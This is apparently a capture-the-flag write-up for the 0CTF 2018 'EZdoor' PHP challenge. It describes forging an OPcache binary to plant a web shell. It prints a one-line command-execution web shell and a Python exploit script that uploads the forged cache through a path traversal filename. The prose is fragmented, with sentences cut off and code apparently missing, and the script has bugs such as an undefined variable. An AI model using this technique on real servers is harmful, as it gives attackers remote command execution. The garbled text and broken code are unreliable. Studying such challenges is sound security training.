0CTF 2018 EZdoor Web Challenge
In this challenge, we are greeted with the source code:
Breaking down the code,
does create a new
index.php file if not created already.
This question was kind of similar to the one we had for ASIS CTF finals couple of years back. This made me realise that it was related to OPCache and since there was a writeup, probably a research, on the same.
So going line by line, we were provided with 5 different functionalities -
pwd for the
phpinfo which provides the info page,
reset to clear the directory,
time to show the timestamp (this will prove to be important later) &
upload option to upload our file.
Understanding the problem deeper,
OPCache is the built-in caching engine with PHP 7.0.* versions. It not only compiles PHP scripts and sets the resulting bytecode in memory but also, offers caching in the filesystem when specifying a destination folder in
You can find the line
PHP.ini file. Inside this folder,
OPCache stores its compiled PHP scripts in the same folder where the PHP code is written. So essentially, a compiled version of
/var/www/index.php will be stored in
To generate a
phpbin file, create a
index.php file with contents:
<?php system($_GET['cmd']); ?>
php -S 127.0.0.1:8080 and a simple
wget 127.0.0.1:8080 generated the
Also for this, the
php.ini files has to be updated in the following way:
opcache.enable=1 opcache.validate_timestamps=1 opcache.file_cache= "/var/www/html/cache" opcache.file_cache_only=1
Now to calculate the
system_id, we have got a tool over here and with that, we can identify what we want to calculate.
To calculate the above, the parameters were
php_version = 7.0.28 ,
zend_extension_id: API320151012,NTS and
digest = hashlib.md5(php_version + zend_extension_id + zend_bin_id).hexdigest()
Now about solving the challenge, firstly, to control the cache file, we mainly need to get hold of two parameters,
After generating the system ID, grab the
timestamp. Set this to the OPcached web-shell (index.php.bin) to bypass opchache.validation_timestamp and upload it.
The final script was:
import struct import requests URL = "http://126.96.36.199:9527/" sid = "7badddeddbd076fe8352e80d8ddf3e73" UID = "c607e0c365ae4a0ea516aadaad3db7adfe45df9c" #constant SID = "7badddeddbd076fe8352e80d8ddf3e73" #SystemID calculated requests.get(URL+"?action=reset") print "Reset done" timestamp = int(requests.get(URL+"?action=time").text) print "Time stamp: " + str(ts) f = open("index.php.bin").read() path = f[:8]+sid+f[40:64]+struct.pack("I", timestamp)+f[68:] #this is done to replace the SystemID and timestamp with a custom one in an already existing one requests.post( URL+"?action=upload&name=../../../../../tmp/cache/"+SID+"/var/www/html/sandbox/"+UID+"/index.php.bin" , files=dict(file=path) )
Reach me out on Twitter for more queries.
Enjoy Reading This Article?
Here are some more articles you might like to read next: